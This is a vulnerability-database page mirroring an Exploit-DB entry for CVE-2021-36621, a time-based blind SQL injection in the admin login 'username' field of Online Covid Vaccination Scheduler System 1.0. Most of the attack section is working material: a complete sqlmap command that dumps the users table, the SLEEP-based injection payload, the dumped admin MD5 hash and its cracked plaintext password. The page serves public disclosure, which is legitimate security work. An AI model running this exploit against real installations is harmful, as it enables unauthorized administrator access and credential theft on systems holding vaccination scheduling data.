Lucene search
+L

Online Covid Vaccination Scheduler System 1.0 - 'username' Time-Based Blind SQL Injection (SQLi)

🗓️ 07 Jul 2021 00:00:00Reported by faisalfs10xType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 543 Views

Online Covid Vaccination Scheduler System 1.0, username time-based blind SQL Injection, admin panel login, dump admin password hash, decrypt plain-text password, authenticate as Administrato

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Covid Vaccination Scheduler System 1.0 SQL Injection / Cross Site Scripting Vulnerabilities
29 Sep 202100:00
–zdt
attackerkb
attackerkb
CVE-2021-36621
30 Jul 202114:15
–attackerkb
circl
Circl
CVE-2021-36621
1 Sep 202620:02
–circl
cnnvd
CNNVD
SourceCodester Online Covid Vaccination Scheduler System SQL Injection Vulnerability
30 Jul 202100:00
–cnnvd
cnvd
CNVD
SourceCodester Online Covid Vaccination Scheduler System SQL Injection Vulnerability (CNVD-2021-99649)
2 Aug 202100:00
–cnvd
cve
CVE
CVE-2021-36621
29 Jul 202117:11
–cve
cvelist
Cvelist
CVE-2021-36621
29 Jul 202117:11
–cvelist
euvd
EUVD
EUVD-2021-23218
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2021-36621
30 Jul 202114:15
–nvd
osv_cve
osv_cve
CVE-2021-36621
30 Jul 202114:15
–osv_cve
Rows per page
# Exploit Title: Online Covid Vaccination Scheduler System 1.0 - 'username' time-based blind SQL Injection
# Date: 2021-07-07
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scheduler.zip
# Version: 1.0
# Tested on: Windows 10, XAMPP


################
# Description  #
################

The admin panel login can be assessed at http://{ip}/scheduler/admin/login.php. The username parameter is vulnerable to time-based SQL injection.
Upon successful dumping the admin password hash, we can decrypt and obtain the plain-text password. Hence, we could authenticate as Administrator.


###########
# PoC     #
###########

Run sqlmap to dump username and password:

$ sqlmap -u "http://localhost/scheduler/classes/Login.php?f=login" --data="username=admin&password=blabla" --cookie="PHPSESSID=n3to3djqetf42c2e7l257kspi5" --batch --answers="crack=N,dict=N,continue=Y,quit=N" -D scheduler -T users -C username,password --dump


###########
# Output  #
###########

Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 7551 FROM (SELECT(SLEEP(5)))QOUn) AND 'MOUZ'='MOUZ&password=blabla
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

web server operating system: Windows
web application technology: PHP 5.6.24, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
current database: 'scheduler'

Database: scheduler
Table: users
[1 entry]
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| admin    | 0192023a7bbd73250516f069df18b500 |
+----------+----------------------------------+


The password is based on PHP md5() function. So, MD5 reverse for 0192023a7bbd73250516f069df18b500 is admin123

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 26.8
CVSS 3.18.1
EPSS0.02073
543